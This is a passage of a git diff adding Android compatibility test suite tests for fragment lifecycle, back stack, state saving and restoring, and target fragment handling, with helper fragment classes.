+        assertSame(origView2, ((ViewGroup)origView1.getParent()).getChildAt(1));
+
+        fm.beginTransaction().replace(android.R.id.content, f3).addToBackStack("stack1").commit();
+        executePendingTransactions(fm);
+
+        assertFalse("fragment 1 is added", f1.isAdded());
+        assertFalse("fragment 2 is added", f2.isAdded());
+        assertTrue("fragment 3 is added", f3.isAdded());
+        assertNull("fragment 1 returned non-null view", f1.getView());
+        assertNull("fragment 2 returned non-null view", f2.getView());
+        assertFalse("fragment 1's old view still attached", origView1.isAttachedToWindow());
+        assertFalse("fragment 2's old view still attached", origView2.isAttachedToWindow());
+        View origView3 = f3.getView();
+        assertNotNull("fragment 3 returned null view", origView3);
+        assertTrue("fragment 3's view not attached", origView3.isAttachedToWindow());
+
+        fm.popBackStack();
+        executePendingTransactions(fm);
+
+        assertTrue("fragment 1 is not added", f1.isAdded());
+        assertTrue("fragment 2 is not added", f2.isAdded());
+        assertFalse("fragment 3 is added", f3.isAdded());
+        assertNull("fragment 3 returned non-null view", f3.getView());
+        assertFalse("fragment 3's view still attached", origView3.isAttachedToWindow());
+        View newView1 = f1.getView();
+        View newView2 = f2.getView();
+        assertNotSame("fragment 1 had same view from last attachment", origView1, newView1);
+        assertNotSame("fragment 2 had same view from last attachment", origView2, newView1);
+        assertTrue("fragment 1's view not attached", newView1.isAttachedToWindow());
+        assertTrue("fragment 2's view not attached", newView2.isAttachedToWindow());
+        assertSame(newView1, ((ViewGroup)newView1.getParent()).getChildAt(0));
+        assertSame(newView2, ((ViewGroup)newView1.getParent()).getChildAt(1));
+    }
+
+    /**
+     * This tests that fragments call onDestroy when the activity finishes.
+     */
+    @Test
+    public void fragmentDestroyedOnFinish() throws Throwable {
+        final FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+        FragmentTestUtil.resume(mActivityRule, fc, null);
+        final StrictViewFragment fragmentA = StrictViewFragment.create(R.layout.text_a);
+        final StrictViewFragment fragmentB = StrictViewFragment.create(R.layout.text_b);
+        mActivityRule.runOnUiThread(() -> {
+            FragmentManager fm = fc.getFragmentManager();
+
+            fm.beginTransaction()
+                    .add(android.R.id.content, fragmentA)
+                    .commit();
+            fm.executePendingTransactions();
+            fm.beginTransaction()
+                    .replace(android.R.id.content, fragmentB)
+                    .addToBackStack(null)
+                    .commit();
+            fm.executePendingTransactions();
+        });
+        FragmentTestUtil.destroy(mActivityRule, fc);
+        assertTrue(fragmentB.mCalledOnDestroy);
+        assertTrue(fragmentA.mCalledOnDestroy);
+    }
+
+    /**
+     * This test confirms that as long as a parent fragment has called super.onCreate,
+     * any child fragments added, committed and with transactions executed will be brought
+     * to at least the CREATED state by the time the parent fragment receives onCreateView.
+     * This means the child fragment will have received onAttach/onCreate.
+     */
+    @Test
+    @MediumTest
+    public void childFragmentManagerAttach() throws Throwable {
+        mActivityRule.runOnUiThread(new Runnable() {
+            public void run() {
+                FragmentController fc = FragmentController.createController(
+                        new HostCallbacks(mActivityRule.getActivity()));
+                fc.attachHost(null);
+                fc.dispatchCreate();
+
+                FragmentLifecycleCallbacks mockLc = mock(FragmentLifecycleCallbacks.class);
+                FragmentLifecycleCallbacks mockRecursiveLc = mock(FragmentLifecycleCallbacks.class);
+
+                FragmentManager fm = fc.getFragmentManager();
+                fm.registerFragmentLifecycleCallbacks(mockLc, false);
+                fm.registerFragmentLifecycleCallbacks(mockRecursiveLc, true);
+
+                ChildFragmentManagerFragment fragment = new ChildFragmentManagerFragment();
+                fm.beginTransaction()
+                        .add(android.R.id.content, fragment)
+                        .commitNow();
+
+                verify(mockLc, times(1)).onFragmentCreated(fm, fragment, null);
+
+                fc.dispatchActivityCreated();
+
+                Fragment childFragment = fragment.getChildFragment();
+
+                verify(mockLc, times(1)).onFragmentActivityCreated(fm, fragment, null);
+                verify(mockRecursiveLc, times(1)).onFragmentActivityCreated(fm, fragment, null);
+                verify(mockRecursiveLc, times(1)).onFragmentActivityCreated(fm, childFragment, null);
+
+                fc.dispatchStart();
+
+                verify(mockLc, times(1)).onFragmentStarted(fm, fragment);
+                verify(mockRecursiveLc, times(1)).onFragmentStarted(fm, fragment);
+                verify(mockRecursiveLc, times(1)).onFragmentStarted(fm, childFragment);
+
+                fc.dispatchResume();
+
+                verify(mockLc, times(1)).onFragmentResumed(fm, fragment);
+                verify(mockRecursiveLc, times(1)).onFragmentResumed(fm, fragment);
+                verify(mockRecursiveLc, times(1)).onFragmentResumed(fm, childFragment);
+
+                // Confirm that the parent fragment received onAttachFragment
+                assertTrue("parent fragment did not receive onAttachFragment",
+                        fragment.mCalledOnAttachFragment);
+
+                fc.dispatchStop();
+
+                verify(mockLc, times(1)).onFragmentStopped(fm, fragment);
+                verify(mockRecursiveLc, times(1)).onFragmentStopped(fm, fragment);
+                verify(mockRecursiveLc, times(1)).onFragmentStopped(fm, childFragment);
+
+                fc.dispatchDestroy();
+
+                verify(mockLc, times(1)).onFragmentDestroyed(fm, fragment);
+                verify(mockRecursiveLc, times(1)).onFragmentDestroyed(fm, fragment);
+                verify(mockRecursiveLc, times(1)).onFragmentDestroyed(fm, childFragment);
+            }
+        });
+    }
+
+    /**
+     * Test to ensure that when dispatch* is called that the fragment manager
+     * doesn't cause the contained fragment states to change even if no state changes.
+     */
+    @Test
+    public void noPrematureStateChange() throws Throwable {
+        final FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+        FragmentTestUtil.resume(mActivityRule, fc, null);
+
+        mActivityRule.runOnUiThread(() -> {
+            fc.getFragmentManager().beginTransaction()
+                    .add(new StrictFragment(), "1")
+                    .commitNow();
+        });
+
+        Pair<Parcelable, FragmentManagerNonConfig> savedState =
+                FragmentTestUtil.destroy(mActivityRule, fc);
+
+        final FragmentController fragmentController = FragmentTestUtil.createController(mActivityRule);
+
+        mActivityRule.runOnUiThread(() -> {
+            fragmentController.attachHost(null);
+            fragmentController.dispatchCreate();
+            fragmentController.dispatchActivityCreated();
+            fragmentController.noteStateNotSaved();
+            fragmentController.execPendingActions();
+            fragmentController.dispatchStart();
+            fragmentController.reportLoaderStart();
+            fragmentController.dispatchResume();
+            fragmentController.restoreAllState(savedState.first, savedState.second);
+            fragmentController.dispatchResume();
+        });
+
+        FragmentManager fm = fragmentController.getFragmentManager();
+
+        StrictFragment fragment1 = (StrictFragment) fm.findFragmentByTag("1");
+
+        assertNotNull(fragment1);
+        assertFalse(fragment1.mCalledOnResume);
+    }
+
+    @Test
+    public void testIsStateSaved() throws Throwable {
+        FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+        FragmentTestUtil.resume(mActivityRule, fc, null);
+        FragmentManager fm = fc.getFragmentManager();
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                Fragment f = new StrictFragment();
+                fm.beginTransaction()
+                        .add(f, "1")
+                        .commitNow();
+
+                assertFalse("fragment reported state saved while resumed",
+                        f.isStateSaved());
+
+                fc.dispatchPause();
+                fc.saveAllState();
+
+                assertTrue("fragment reported state not saved after saveAllState",
+                        f.isStateSaved());
+
+                fc.dispatchStop();
+
+                assertTrue("fragment reported state not saved after stop",
+                        f.isStateSaved());
+
+                fc.dispatchDestroy();
+
+                assertFalse("fragment reported state saved after destroy",
+                        f.isStateSaved());
+            }
+        });
+    }
+
+    @Test
+    public void testSetArgumentsLifecycle() throws Throwable {
+        FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+        FragmentTestUtil.resume(mActivityRule, fc, null);
+        FragmentManager fm = fc.getFragmentManager();
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                Fragment f = new StrictFragment();
+                f.setArguments(new Bundle());
+
+                fm.beginTransaction()
+                        .add(f, "1")
+                        .commitNow();
+
+                f.setArguments(new Bundle());
+
+                fc.dispatchPause();
+                fc.saveAllState();
+
+                boolean threw = false;
+                try {
+                    f.setArguments(new Bundle());
+                } catch (IllegalStateException ise) {
+                    threw = true;
+                }
+                assertTrue("fragment allowed setArguments after state save", threw);
+
+                fc.dispatchStop();
+
+                threw = false;
+                try {
+                    f.setArguments(new Bundle());
+                } catch (IllegalStateException ise) {
+                    threw = true;
+                }
+                assertTrue("fragment allowed setArguments after stop", threw);
+
+                fc.dispatchDestroy();
+
+                // Fully destroyed, so fragments have been removed.
+                f.setArguments(new Bundle());
+            }
+        });
+
+    }
+
+    /*
+     * Test that target fragments are in a useful state when we restore them, even if they're
+     * on the back stack.
+     */
+
+    @Test
+    public void targetFragmentRestoreLifecycleStateBackStack() throws Throwable {
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                final FragmentController fc1 = FragmentController.createController(
+                        new HostCallbacks(mActivityRule.getActivity()));
+
+                final FragmentManager fm1 = fc1.getFragmentManager();
+
+                fc1.attachHost(null);
+                fc1.dispatchCreate();
+
+                final Fragment target = new TargetFragment();
+                fm1.beginTransaction().add(target, "target").commitNow();
+
+                final Fragment referrer = new ReferrerFragment();
+                referrer.setTargetFragment(target, 0);
+
+                fm1.beginTransaction()
+                        .remove(target)
+                        .add(referrer, "referrer")
+                        .addToBackStack(null)
+                        .commit();
+
+                fc1.dispatchActivityCreated();
+                fc1.noteStateNotSaved();
+                fc1.execPendingActions();
+                fc1.doLoaderStart();
+                fc1.dispatchStart();
+                fc1.reportLoaderStart();
+                fc1.dispatchResume();
+                fc1.execPendingActions();
+
+                // Bring the state back down to destroyed, simulating an activity restart
+                fc1.dispatchPause();
+                final Parcelable savedState = fc1.saveAllState();
+                final FragmentManagerNonConfig nonconf = fc1.retainNestedNonConfig();
+                fc1.dispatchStop();
+                fc1.dispatchDestroy();
+
+                final FragmentController fc2 = FragmentController.createController(
+                        new HostCallbacks(mActivityRule.getActivity()));
+
+                fc2.attachHost(null);
+                fc2.restoreAllState(savedState, nonconf);
+                fc2.dispatchCreate();
+
+                fc2.dispatchActivityCreated();
+                fc2.noteStateNotSaved();
+                fc2.execPendingActions();
+                fc2.doLoaderStart();
+                fc2.dispatchStart();
+                fc2.reportLoaderStart();
+                fc2.dispatchResume();
+                fc2.execPendingActions();
+
+                // Bring the state back down to destroyed before we finish the test
+                fc2.dispatchPause();
+                fc2.saveAllState();
+                fc2.dispatchStop();
+                fc2.dispatchDestroy();
+            }
+        });
+    }
+
+    @Test
+    public void targetFragmentRestoreLifecycleStateManagerOrder() throws Throwable {
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                final FragmentController fc1 = FragmentController.createController(
+                        new HostCallbacks(mActivityRule.getActivity()));
+
+                final FragmentManager fm1 = fc1.getFragmentManager();
+
+                fc1.attachHost(null);
+                fc1.dispatchCreate();
+
+                final Fragment target1 = new TargetFragment();
+                final Fragment referrer1 = new ReferrerFragment();
+                referrer1.setTargetFragment(target1, 0);
+
+                fm1.beginTransaction().add(target1, "target1").add(referrer1, "referrer1").commitNow();
+
+                final Fragment target2 = new TargetFragment();
+                final Fragment referrer2 = new ReferrerFragment();
+                referrer2.setTargetFragment(target2, 0);
+
+                // Order shouldn't matter.
+                fm1.beginTransaction().add(referrer2, "referrer2").add(target2, "target2").commitNow();
+
+                fc1.dispatchActivityCreated();
+                fc1.noteStateNotSaved();
+                fc1.execPendingActions();
+                fc1.doLoaderStart();
+                fc1.dispatchStart();
+                fc1.reportLoaderStart();
+                fc1.dispatchResume();
+                fc1.execPendingActions();
+
+                // Bring the state back down to destroyed, simulating an activity restart
+                fc1.dispatchPause();
+                final Parcelable savedState = fc1.saveAllState();
+                final FragmentManagerNonConfig nonconf = fc1.retainNestedNonConfig();
+                fc1.dispatchStop();
+                fc1.dispatchDestroy();
+
+                final FragmentController fc2 = FragmentController.createController(
+                        new HostCallbacks(mActivityRule.getActivity()));
+
+                fc2.attachHost(null);
+                fc2.restoreAllState(savedState, nonconf);
+                fc2.dispatchCreate();
+
+                fc2.dispatchActivityCreated();
+                fc2.noteStateNotSaved();
+                fc2.execPendingActions();
+                fc2.doLoaderStart();
+                fc2.dispatchStart();
+                fc2.reportLoaderStart();
+                fc2.dispatchResume();
+                fc2.execPendingActions();
+
+                // Bring the state back down to destroyed before we finish the test
+                fc2.dispatchPause();
+                fc2.saveAllState();
+                fc2.dispatchStop();
+                fc2.dispatchDestroy();
+            }
+        });
+    }
+
+    // Make sure that executing transactions during activity lifecycle events
+    // is properly prevented.
+    @Test
+    public void preventReentrantCalls() throws Throwable {
+        testLifecycleTransitionFailure(StrictFragment.ATTACHED, StrictFragment.CREATED);
+        testLifecycleTransitionFailure(StrictFragment.CREATED, StrictFragment.ACTIVITY_CREATED);
+        testLifecycleTransitionFailure(StrictFragment.ACTIVITY_CREATED, StrictFragment.STARTED);
+        testLifecycleTransitionFailure(StrictFragment.STARTED, StrictFragment.RESUMED);
+
+        testLifecycleTransitionFailure(StrictFragment.RESUMED, StrictFragment.STARTED);
+        testLifecycleTransitionFailure(StrictFragment.STARTED, StrictFragment.CREATED);
+        testLifecycleTransitionFailure(StrictFragment.CREATED, StrictFragment.ATTACHED);
+        testLifecycleTransitionFailure(StrictFragment.ATTACHED, StrictFragment.DETACHED);
+    }
+
+    private void testLifecycleTransitionFailure(int fromState, int toState) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            final FragmentController fc1 = FragmentController.createController(
+                    new HostCallbacks(mActivityRule.getActivity()));
+            FragmentTestUtil.resume(mActivityRule, fc1, null);
+
+            final FragmentManager fm1 = fc1.getFragmentManager();
+
+            final Fragment reentrantFragment = ReentrantFragment.create(fromState, toState);
+
+            fm1.beginTransaction()
+                    .add(reentrantFragment, "reentrant")
+                    .commit();
+            try {
+                fm1.executePendingTransactions();
+            } catch (IllegalStateException e) {
+                fail("An exception shouldn't happen when initially adding the fragment");
+            }
+
+            // Now shut down the fragment controller. When fromState > toState, this should
+            // result in an exception
+            Pair<Parcelable, FragmentManagerNonConfig> savedState = null;
+            try {
+                savedState = FragmentTestUtil.destroy(mActivityRule, fc1);
+                if (fromState > toState) {
+                    fail("Expected IllegalStateException when moving from "
+                            + StrictFragment.stateToString(fromState) + " to "
+                            + StrictFragment.stateToString(toState));
+                }
+            } catch (IllegalStateException e) {
+                if (fromState < toState) {
+                    fail("Unexpected IllegalStateException when moving from "
+                            + StrictFragment.stateToString(fromState) + " to "
+                            + StrictFragment.stateToString(toState));
+                }
+                return; // test passed!
+            }
+
+            // now restore from saved state. This will be reached when
+            // fromState < toState. We want to catch the fragment while it
+            // is being restored as the fragment controller state is being brought up.
+
+            final FragmentController fc2 = FragmentController.createController(
+                    new HostCallbacks(mActivityRule.getActivity()));
+            try {
+                FragmentTestUtil.resume(mActivityRule, fc2, savedState);
+
+                fail("Expected IllegalStateException when moving from "
+                        + StrictFragment.stateToString(fromState) + " to "
+                        + StrictFragment.stateToString(toState));
+            } catch (IllegalStateException e) {
+                // expected, so the test passed!
+            }
+        });
+    }
+
+    @Test
+    public void targetFragmentNoCycles() throws Throwable {
+        final Fragment one = new Fragment();
+        final Fragment two = new Fragment();
+        final Fragment three = new Fragment();
+
+        try {
+            one.setTargetFragment(two, 0);
+            two.setTargetFragment(three, 0);
+            three.setTargetFragment(one, 0);
+            assertTrue("creating a fragment target cycle did not throw IllegalArgumentException",
+                    false);
+        } catch (IllegalArgumentException e) {
+            // Success!
+        }
+    }
+
+    @Test
+    public void targetFragmentSetClear() throws Throwable {
+        final Fragment one = new Fragment();
+        final Fragment two = new Fragment();
+
+        one.setTargetFragment(two, 0);
+        one.setTargetFragment(null, 0);
+    }
+
+    /**
+     * When a fragment is saved in non-config, it should be restored to the same index.
+     */
+    @Test
+    public void restoreNonConfig() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, null);
+            FragmentManager fm = fc.getFragmentManager();
+
+            Fragment fragment1 = new StrictFragment();
+            fm.beginTransaction()
+                    .add(fragment1, "1")
+                    .addToBackStack(null)
+                    .commit();
+            fm.executePendingTransactions();
+            Fragment fragment2 = new StrictFragment();
+            fragment2.setRetainInstance(true);
+            fragment2.setTargetFragment(fragment1, 0);
+            Fragment fragment3 = new StrictFragment();
+            fm.beginTransaction()
+                    .remove(fragment1)
+                    .add(fragment2, "2")
+                    .add(fragment3, "3")
+                    .addToBackStack(null)
+                    .commit();
+            fm.executePendingTransactions();
+
+            Pair<Parcelable, FragmentManagerNonConfig> savedState =
+                    FragmentTestUtil.destroy(mActivityRule, fc);
+
+            fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, savedState);
+            boolean foundFragment2 = false;
+            for (Fragment fragment : fc.getFragmentManager().getFragments()) {
+                if (fragment == fragment2) {
+                    foundFragment2 = true;
+                    assertNotNull(fragment.getTargetFragment());
+                    assertEquals("1", fragment.getTargetFragment().getTag());
+                } else {
+                    assertFalse("2".equals(fragment.getTag()));
+                }
+            }
+            assertTrue(foundFragment2);
+        });
+    }
+
+    /**
+     * Check that retained fragments in the backstack correctly restored after two "configChanges"
+     */
+    @Test
+    public void retainedFragmentInBackstack() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, null);
+            FragmentManager fm = fc.getFragmentManager();
+
+            Fragment fragment1 = new StrictFragment();
+            fm.beginTransaction()
+                    .add(fragment1, "1")
+                    .addToBackStack(null)
+                    .commit();
+            fm.executePendingTransactions();
+
+            Fragment child = new StrictFragment();
+            child.setRetainInstance(true);
+            fragment1.getChildFragmentManager().beginTransaction()
+                    .add(child, "child").commit();
+            fragment1.getChildFragmentManager().executePendingTransactions();
+
+            Fragment fragment2 = new StrictFragment();
+            fm.beginTransaction()
+                    .remove(fragment1)
+                    .add(fragment2, "2")
+                    .addToBackStack(null)
+                    .commit();
+            fm.executePendingTransactions();
+
+            Pair<Parcelable, FragmentManagerNonConfig> savedState =
+                    FragmentTestUtil.destroy(mActivityRule, fc);
+
+            fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, savedState);
+            savedState = FragmentTestUtil.destroy(mActivityRule, fc);
+            fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, savedState);
+            fm = fc.getFragmentManager();
+            fm.popBackStackImmediate();
+            Fragment retainedChild = fm.findFragmentByTag("1")
+                    .getChildFragmentManager().findFragmentByTag("child");
+            assertEquals(child, retainedChild);
+        });
+    }
+
+    /**
+     * When a fragment has been optimized out, it state should still be saved during
+     * save and restore instance state.
+     */
+    @Test
+    public void saveRemovedFragment() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, null);
+            FragmentManager fm = fc.getFragmentManager();
+
+            SaveStateFragment fragment1 = SaveStateFragment.create(1);
+            fm.beginTransaction()
+                    .add(android.R.id.content, fragment1, "1")
+                    .addToBackStack(null)
+                    .commit();
+            SaveStateFragment fragment2 = SaveStateFragment.create(2);
+            fm.beginTransaction()
+                    .replace(android.R.id.content, fragment2, "2")
+                    .addToBackStack(null)
+                    .commit();
+            fm.executePendingTransactions();
+
+            Pair<Parcelable, FragmentManagerNonConfig> savedState =
+                    FragmentTestUtil.destroy(mActivityRule, fc);
+
+            fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, savedState);
+            fm = fc.getFragmentManager();
+            fragment2 = (SaveStateFragment) fm.findFragmentByTag("2");
+            assertNotNull(fragment2);
+            assertEquals(2, fragment2.getValue());
+            fm.popBackStackImmediate();
+            fragment1 = (SaveStateFragment) fm.findFragmentByTag("1");
+            assertNotNull(fragment1);
+            assertEquals(1, fragment1.getValue());
+        });
+    }
+
+    /**
+     * When there are no retained instance fragments, the FragmentManagerNonConfig should be
+     * null
+     */
+    @Test
+    public void nullNonConfig() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, null);
+            FragmentManager fm = fc.getFragmentManager();
+
+            Fragment fragment1 = new StrictFragment();
+            fm.beginTransaction()
+                    .add(fragment1, "1")
+                    .addToBackStack(null)
+                    .commit();
+            fm.executePendingTransactions();
+            Pair<Parcelable, FragmentManagerNonConfig> savedState =
+                    FragmentTestUtil.destroy(mActivityRule, fc);
+            assertNull(savedState.second);
+        });
+    }
+
+    /**
+     * When the FragmentManager state changes, the pending transactions should execute.
+     */
+    @Test
+    public void runTransactionsOnChange() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, null);
+            FragmentManager fm = fc.getFragmentManager();
+
+            RemoveHelloInOnResume fragment1 = new RemoveHelloInOnResume();
+            StrictFragment fragment2 = new StrictFragment();
+            fm.beginTransaction()
+                    .add(fragment1, "1")
+                    .setReorderingAllowed(false)
+                    .commit();
+            fm.beginTransaction()
+                    .add(fragment2, "Hello")
+                    .setReorderingAllowed(false)
+                    .commit();
+            fm.executePendingTransactions();
+
+            assertEquals(2, fm.getFragments().size());
+            assertTrue(fm.getFragments().contains(fragment1));
+            assertTrue(fm.getFragments().contains(fragment2));
+
+            Pair<Parcelable, FragmentManagerNonConfig> savedState =
+                    FragmentTestUtil.destroy(mActivityRule, fc);
+            fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, savedState);
+            fm = fc.getFragmentManager();
+
+            assertEquals(1, fm.getFragments().size());
+            for (Fragment fragment : fm.getFragments()) {
+                assertTrue(fragment instanceof RemoveHelloInOnResume);
+            }
+        });
+    }
+
     private void executePendingTransactions(final FragmentManager fm) throws Throwable {
         mActivityRule.runOnUiThread(new Runnable() {
             @Override
@@ -231,4 +964,202 @@
             }
         });
     }
+
+    /**
+     * This tests a deliberately odd use of a child fragment, added in onCreateView instead
+     * of elsewhere. It simulates creating a UI child fragment added to the view hierarchy
+     * created by this fragment.
+     */
+    public static class ChildFragmentManagerFragment extends StrictFragment {
+        private FragmentManager mSavedChildFragmentManager;
+        private ChildFragmentManagerChildFragment mChildFragment;
+
+        @Override
+        public void onAttach(Context context) {
+            super.onAttach(context);
+            mSavedChildFragmentManager = getChildFragmentManager();
+        }
+
+
+        @Override
+        public View onCreateView(LayoutInflater inflater,  ViewGroup container,
+                 Bundle savedInstanceState) {
+            assertSame("child FragmentManagers not the same instance", mSavedChildFragmentManager,
+                    getChildFragmentManager());
+            ChildFragmentManagerChildFragment child =
+                    (ChildFragmentManagerChildFragment) mSavedChildFragmentManager
+                            .findFragmentByTag("tag");
+            if (child == null) {
+                child = new ChildFragmentManagerChildFragment("foo");
+                mSavedChildFragmentManager.beginTransaction()
+                        .add(child, "tag")
+                        .commitNow();
+                assertEquals("argument strings don't match", "foo", child.getString());
+            }
+            mChildFragment = child;
+            return new TextView(container.getContext());
+        }
+
+
+        public Fragment getChildFragment() {
+            return mChildFragment;
+        }
+    }
+
+    public static class ChildFragmentManagerChildFragment extends StrictFragment {
+        private String mString;
+
+        public ChildFragmentManagerChildFragment() {
+        }
+
+        public ChildFragmentManagerChildFragment(String arg) {
+            final Bundle b = new Bundle();
+            b.putString("string", arg);
+            setArguments(b);
+        }
+
+        @Override
+        public void onAttach(Context context) {
+            super.onAttach(context);
+            mString = getArguments().getString("string", "NO VALUE");
+        }
+
+        public String getString() {
+            return mString;
+        }
+    }
+
+    public static class TargetFragment extends Fragment {
+        public boolean calledCreate;
+
+        @Override
+        public void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            calledCreate = true;
+        }
+    }
+
+    public static class ReferrerFragment extends Fragment {
+        @Override
+        public void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            Fragment target = getTargetFragment();
+            assertNotNull("target fragment was null during referrer onCreate", target);
+
+            if (!(target instanceof TargetFragment)) {
+                throw new IllegalStateException("target fragment was not a TargetFragment");
+            }
+
+            assertTrue("target fragment has not yet been created",
+                    ((TargetFragment) target).calledCreate);
+        }
+    }
+
+    static class HostCallbacks extends FragmentHostCallback<Activity> {
+        private final Activity mActivity;
+
+        public HostCallbacks(Activity activity) {
+            super(activity, null, 0);
+            mActivity = activity;
+        }
+
+        @Override
+        public void onDump(String prefix, FileDescriptor fd, PrintWriter writer, String[] args) {
+        }
+
+        @Override
+        public boolean onShouldSaveFragmentState(Fragment fragment) {
+            return !mActivity.isFinishing();
+        }
+
+        @Override
+        public LayoutInflater onGetLayoutInflater() {
+            return mActivity.getLayoutInflater().cloneInContext(mActivity);
+        }
+
+        @Override
+        public Activity onGetHost() {
+            return mActivity;
+        }
+
+        @Override
+        public void onStartActivityFromFragment(
+                Fragment fragment, Intent intent, int requestCode,  Bundle options) {
+            mActivity.startActivityFromFragment(fragment, intent, requestCode, options);
+        }
+
+        @Override
+        public void onRequestPermissionsFromFragment( Fragment fragment,
+                 String[] permissions, int requestCode) {
+            throw new UnsupportedOperationException();
+        }
+
+        @Override
+        public boolean onHasWindowAnimations() {
+            return mActivity.getWindow() != null;
+        }
+
+        @Override
+        public int onGetWindowAnimations() {
+            final Window w = mActivity.getWindow();
+            return (w == null) ? 0 : w.getAttributes().windowAnimations;
+        }
+
+        @Override
+        public void onAttachFragment(Fragment fragment) {
+            mActivity.onAttachFragment(fragment);
+        }
+
+        @Override
+        public View onFindViewById(int id) {
+            return mActivity.findViewById(id);
+        }
+
+        @Override
+        public boolean onHasView() {
+            final Window w = mActivity.getWindow();
+            return (w != null && w.peekDecorView() != null);
+        }
+    }
+
+    public static class SaveStateFragment extends Fragment {
+        private static final String VALUE_KEY = "SaveStateFragment.mValue";
+        private int mValue;
+
+        public static SaveStateFragment create(int value) {
+            SaveStateFragment saveStateFragment = new SaveStateFragment();
+            saveStateFragment.mValue = value;
+            return saveStateFragment;
+        }
+
+        @Override
+        public void onSaveInstanceState(Bundle outState) {
+            super.onSaveInstanceState(outState);
+            outState.putInt(VALUE_KEY, mValue);
+        }
+
+        @Override
+        public void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            if (savedInstanceState != null) {
+                mValue = savedInstanceState.getInt(VALUE_KEY, mValue);
+            }
+        }
+
+        public int getValue() {
+            return mValue;
+        }
+    }
+
+    public static class RemoveHelloInOnResume extends Fragment {
+        @Override
+        public void onResume() {
+            super.onResume();
+            Fragment fragment = getFragmentManager().findFragmentByTag("Hello");
+            if (fragment != null) {
+                getFragmentManager().beginTransaction().remove(fragment).commit();
+            }
+        }
+    }
 }
diff --git a/tests/fragment/src/android/fragment/cts/FragmentManagerNonConfigTest.java b/tests/fragment/src/android/fragment/cts/FragmentManagerNonConfigTest.java
new file mode 100644
index 0000000..1b28290
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/FragmentManagerNonConfigTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class FragmentManagerNonConfigTest {
+
+    @Rule
+    public ActivityTestRule<NonConfigOnStopActivity> mActivityRule =
+            new ActivityTestRule<>(NonConfigOnStopActivity.class);
+
+    /**
+     * When a fragment is added during onStop(), it shouldn't show up in non-config
+     * state when restored.
+     */
+    @Test
+    public void nonConfigStop() throws Throwable {
+        NonConfigOnStopActivity activity = FragmentTestUtil.recreateActivity(mActivityRule,
+                mActivityRule.getActivity());
+
+        // A fragment was added in onStop(), but we shouldn't see it here...
+        assertTrue(activity.getFragmentManager().getFragments().isEmpty());
+    }
+
+}
\ No newline at end of file
diff --git a/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java b/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java
new file mode 100644
index 0000000..f1c6b9f
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java
@@ -0,0 +1,541 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.FragmentManager;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.ViewGroup;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
